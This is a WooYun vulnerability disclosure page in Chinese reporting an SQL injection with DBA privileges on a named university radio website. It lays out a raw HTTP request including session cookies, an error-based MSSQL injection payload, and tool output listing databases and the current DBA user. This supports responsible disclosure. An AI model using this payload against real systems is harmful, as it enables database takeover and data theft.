当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0155212

漏洞标题:中国石油大学某站SQL注入(DBA权限)

相关厂商:中国石油大学

漏洞作者: 路人甲

提交时间:2015-11-23 14:56

修复时间:2015-12-04 17:33

公开时间:2015-12-04 17:33

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-23: 细节已通知厂商并且等待厂商处理中
2015-11-23: 厂商已经确认,细节仅向厂商公开
2015-12-03: 细节向核心白帽子及相关领域专家公开
2015-12-04: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

RT

详细说明:

http://radio.upc.edu.cn/  中国石油大学(华东)网络电台


GET /LiveFiles/Pages/Inner/userinfo.aspx?userName=&ModuleType=UserInfo&UserModuleClientID=ctl00_ctl00_TemplateHolder_ContentHolder_ctl00&ModuleType=UserInfo&UserModuleClientID=ctl00_ctl00_TemplateHolder_ContentHolder_ctl00&userName=-1  HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://radio.upc.edu.cn
Cookie: asaichatusermo=%B1%E0%BA%C595233356; ASPSESSIONIDQSCRCTSB=JCBBFCJBMBAPPPDJBLAFLPPC; BAIRONG.VC.LOGIN=ky3d; SiteServer.Space.Hits.=; SiteServer.Space.Hits.friends=friends; SiteServer.Space.Hits.photo=photo; SiteServer.Space.Hits.blog=blog; SiteServer.Space.Hits.myweb=myweb; SITESERVER.p13.s0=9151; asaichatuser=; LiveServer_Friends=7806; jiathis_rdc=%7B%22http%3A//radio.upc.edu.cn/contents/21/140.html%22%3A%22266%7C1447852626189%22%7D; jiathis_uniqid=1447852332564c792c25608; stlDigg_1_140=true; jiathis_sers=weixin%3A1; SiteServer.Space.Hits.jinanrenjia=jinanrenjia; SiteServer.Space.Hits.hq=hq; SiteServer.Space.Hits.09013231=09013231; SiteServer.Space.Hits.17677=17677; SiteServer.Space.Hits.1234=1234; SiteServer.Space.Hits.LIANG123=LIANG123; SiteServer.Space.Hits.victornie713=victornie713; SiteServer.Space.Hits.bodywei=bodywei; SiteServer.Space.Hits.xiaok=xiaok; SiteServer.Space.Hits.pirate=pirate; SiteServer.Space.Hits.knox=knox; SiteServer.Space.Hits.ruwei0112=ruwei0112; SITESERVER.p1.s-99=nov0
Host: radio.upc.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*


userName参数存在注入

---
Parameter: userName (GET)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: userName=&ModuleType=UserInfo&UserModuleClientID=ctl00_ctl00_TemplateHolder_ContentHolder_ctl00&ModuleType=UserInfo&UserModuleClientID=ctl00_ctl00_TemplateHolder_ContentHolder_ctl00&userName=-1 '+(SELECT 'jHds' WHERE 7404=7404 AND 8790=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(98)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (8790=8790) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(122)+CHAR(113))))+'
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
available databases [8]:
[*] master
[*] model
[*] msdb
[*] radio
[*] radiotest
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb


---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
current user: 'knox'
current database: 'radio'
current user is DBA: True


漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-11-23 15:13

厂商回复:

感谢您对学校的网络安全的关注,我们会尽快解决该问题。

最新状态:

2015-12-04:该网站已关闭,感谢对中国石油大学的关新